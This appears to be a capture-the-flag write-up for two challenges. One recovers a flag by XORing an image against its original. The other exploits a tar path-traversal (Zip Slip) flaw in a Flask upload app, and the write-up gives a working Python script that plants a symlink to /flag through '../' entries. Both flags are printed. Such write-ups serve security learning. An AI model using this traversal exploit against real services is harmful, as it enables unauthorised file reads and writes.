intro
freebies

misc

This picture seems oddly familiar… but something about it feels ever so slightly off.

This is the image that the challenge gave us. A quick image search got us the "original". I didn't really do much but safely assumed that they couldn't or wouldn't hide the FLAG on such an official website for a business like this (I thought it was a vibe code business for a second but quickly realized this is legitimate).
So our flag had to be inside the challenge image they gave us. So I just... checked the size of both? And oh boy, you can beat me and I'll still say the flag is in there. Since it's just trivia, we XOR it. I did have a hiccup with a typo of 1 character and had to submit a ticket for it. L on me.
about_us.webp
File Size : 1029 kb
about-us-team.I3TrCs6f_4E8U9.webp
File Size : 227 kB
import numpy as np
from PIL import Image, ImageEnhance
im1 = Image.open("about-us-team.I3TrCs6f_4E8U9.webp")
im2 = Image.open("about_us.webp")
print(im1, im2)
im1np = np.array(im1) * 255
im2np = np.array(im2) * 255
result = np.bitwise_xor(im1np, im2np).astype(np.uint8)
img = Image.fromarray(result)
ImageEnhance.Contrast(img).enhance(100).save("flag.png")
FortID{1f_Y0u_W4nna_L3arn_M0r3_Ab0u7_Us_Try_S0lv1n6_051N7_Ex4m}
meta 2.0

Data science is old news, kids today are all about metadata science...
❯ unzip -l handout.zip
Archive: handout.zip
Length Date Time Name
--------- ---------- ----- ----
5001 2025-08-06 15:02 app.py
732 2025-08-06 14:12 Dockerfile
34 2025-08-06 11:42 requirements.txt
5045 2025-08-06 12:10 templates/index.html
--------- -------
10812 4 filestldr;
The app accepts archives and extracts them with extractall(...) without sanitizing paths. By including entries like ../../../../srv/static/dummy.txt (or absolute /srv/...), we escape the extraction directory and write into the Flask static folder. We drop a symlink there pointing to the flag (/flag), then fetch it via /static/dummy.txt to read the flag.
the vulnerability

No checks for .. segments, absolute paths, or symlinks, enabling classic Zip Slip/Tar traversal to arbitrary locations writable by the service user. So lets look at it this way
Extract root chosen by the app:
/tmp/metabox/<uuid>/unpackWhat if the TAR entry name is like this:
../../../../srv/static/dummy.txt
Then the extractor builds a path like:
Join:
/tmp/metabox/<uuid>/unpack+../../../../srv/static/dummy.txtResult before normalization:
/tmp/metabox/<uuid>/unpack/../../../../srv/static/dummy.txtEach
..removes one path component on the left. After removing enough parents, you reach the filesystem root/
So here is the steps we can take to exploit this:
Build an in-memory TAR containing:
A directory entry for
../../../../srv/static.A symlink entry
../../../../srv/static/dummy.txtwith link target/flag.
POST the tar to
POST /uploadasmultipart/form-datawith fieldfile.GET
/static/dummy.txtto read the flag.

solve
import sys
import time
from io import BytesIO
import tarfile
import requests
base = sys.argv[1] if len(sys.argv) > 1 else "https://fortid-meta.chals.io"
targets = ["/flag"]
for t in targets:
buf = BytesIO()
with tarfile.open(fileobj=buf, mode="w") as tf:
d = tarfile.TarInfo("../../../../srv/static")
d.type = tarfile.DIRTYPE
d.mode = 0o755
d.mtime = int(time.time())
tf.addfile(d)
s = tarfile.TarInfo("../../../../srv/static/dummy.txt")
s.type = tarfile.SYMTYPE
s.linkname = t
s.mode = 0o777
s.mtime = int(time.time())
s.size = 0
tf.addfile(s)
data = buf.getvalue()
requests.post(
base.rstrip("/") + "/upload",
files={"file": ("x.tar", data, "application/x-tar")},
)
time.sleep(0.2)
r = requests.get(base.rstrip("/") + "/static/dummy.txt")
if r.status_code == 200 and r.text:
print(r.text)
sys.exit(0)
print(r.text)FortID{I_H0p3_M4rk_Zuck3rber6_BuYz_0ur_M374_F0r_4_Bill10n_$$$}
Last updated